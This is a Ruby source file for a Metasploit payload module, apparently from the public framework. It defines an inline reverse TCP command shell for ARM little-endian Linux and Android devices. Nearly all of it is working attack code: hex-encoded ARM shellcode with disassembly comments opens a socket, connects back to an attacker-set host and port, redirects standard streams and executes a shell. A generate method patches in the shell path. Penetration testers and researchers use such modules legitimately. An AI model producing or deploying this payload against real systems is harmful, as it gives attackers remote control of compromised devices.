1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 172
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Linux::Armle::Prepends
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Linux Command Shell, Reverse TCP Inline',
18
        'Description' => 'Connect back to attacker and spawn a command shell',
19
        'Author' => 'civ',
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'linux',
22
        'Arch' => ARCH_ARMLE,
23
        'Handler' => Msf::Handler::ReverseTcp,
24
        'Session' => Msf::Sessions::CommandShellUnix,
25
        'Payload' => {
26
          'Offsets' =>
27
                  {
28
                    'LHOST' => [ 136, 'ADDR' ],
29
                    'LPORT' => [ 134, 'n' ]
30
                  },
31
          'Payload' =>
32
                       [
33
                         #### Tested successfully on:
34
                         # Linux 2.6.29.6-cm42 armv6l
35
                         # Linux 2.6.29.6-cyanogenmod armv6l
36
                         # Linux version 2.6.25-00350-g40fff9a armv5l
37
                         # Linux version 2.6.27-00110-g132305e armv5l
38
                         # Linux version 2.6.29-00177-g24ee4d2 armv5l
39
                         # Linux version 2.6.29-00255-g7ca5167 armv5l
40
                         #
41
                         # Probably requires process to have INTERNET permission
42
                         # or root.
43
                         ####
44
                         # socket(2,1,6)
45
                         0xe3a00002,       # mov     r0, #2  ; 0x2
46
                         0xe3a01001,       # mov     r1, #1  ; 0x1
47
                         0xe2812005,       # add     r2, r1, #5      ; 0x5
48
                         0xe3a0708c,       # mov     r7, #140        ; 0x8c
49
                         0xe287708d,       # add     r7, r7, #141    ; 0x8d
50
                         0xef000000,       # svc     0x00000000
51

52
                         # connect(soc, socaddr, 0x10)
53
                         0xe1a06000,       # mov     r6, r0
54
                         0xe28f1060,       # 1dr     r1, pc, #96  ; 0x60
55
                         0xe3a02010,       # mov     r2, #16 ; 0x10
56
                         0xe3a0708d,       # mov     r7, #141        ; 0x8d
57
                         0xe287708e,       # add     r7, r7, #142    ; 0x8e
58
                         0xef000000,       # svc     0x00000000
59

60
                         # dup2(soc,0) @stdin
61
                         0xe1a00006,       # mov     r0, r6
62
                         0xe3a01000,       # mov     r1, #0  ; 0x0
63
                         0xe3a0703f,       # mov     r7, #63 ; 0x3f
64
                         0xef000000,       # svc     0x00000000
65

66
                         # dup2(soc,1) @stdout
67
                         0xe1a00006,       # mov     r0, r6
68
                         0xe3a01001,       # mov     r1, #1  ; 0x1
69
                         0xe3a0703f,       # mov     r7, #63 ; 0x3f
70
                         0xef000000,       # svc     0x00000000
71

72
                         # dup2(soc,2) @stderr
73
                         0xe1a00006,       # mov     r0, r6
74
                         0xe3a01002,       # mov     r1, #2  ; 0x2
75
                         0xe3a0703f,       # mov     r7, #63 ; 0x3f
76
                         0xef000000,       # svc     0x00000000
77

78
                         # execve("/system/bin/sh", args, env)
79
                         0xe28f0024,       # add     r0, pc, #36     ; 0x24
80
                         0xe0244004,       # eor     r4, r4, r4
81
                         0xe92d0010,       # push    {r4}
82
                         0xe1a0200d,       # mov     r2, sp
83
                         0xe28f4024,       # add     r4, pc, #36     ; 0x10
84
                         0xe92d0010,       # push    {r4}
85
                         0xe1a0100d,       # mov     r1, sp
86
                         0xe3a0700b,       # mov     r7, #11 ; 0xb
87
                         0xef000000,       # svc     0x00000000
88

89
                         # <af>:
90
                         # port offset = 134, ip offset = 136
91
                         0x04290002,       # .word   0x5c110002 @ port: 4444 , sin_fam = 2
92
                         0x0101a8c0,       # .word   0x0101a8c0 @ ip: 192.168.1.1
93
                         # <shell>:
94
                         0x00000000,       # .word   0x00000000 ; the shell goes here!
95
                         0x00000000,       # .word   0x00000000
96
                         0x00000000,       # .word   0x00000000
97
                         0x00000000,       # .word   0x00000000
98
                         # <arg>:
99
                         0x00000000,       # .word   0x00000000 ; the args!
100
                         0x00000000,       # .word   0x00000000
101
                         0x00000000,       # .word   0x00000000
102
                         0x00000000,       # .word   0x00000000
103
                       ].pack('V*')
104
        }
105
      )
106
    )
107

108
    # Register command execution options
109
    register_options(
110
      [
111
        OptString.new('SHELL', [ true, 'The shell to execute.', '/bin/sh' ]),
112
        OptString.new('ARGV0', [ false, 'argv[0] to pass to execve', 'sh' ]) # mostly used for busybox
113
      ]
114
    )
115
  end
116

117
  def generate(_opts = {})
118
    p = super
119

120
    sh = datastore['SHELL']
121
    if sh.length >= 16
122
      raise ArgumentError, 'The specified shell must be less than 16 bytes.'
123
    end
124

125
    p[140, sh.length] = sh
126

127
    arg = datastore['ARGV0']
128
    if arg
129
      if arg.length >= 16
130
        raise ArgumentError, 'The specified argv[0] must be less than 16 bytes.'
131
      end
132

133
      p[156, arg.length] = arg
134
    end
135

136
    p
137
  end
138
end
139

140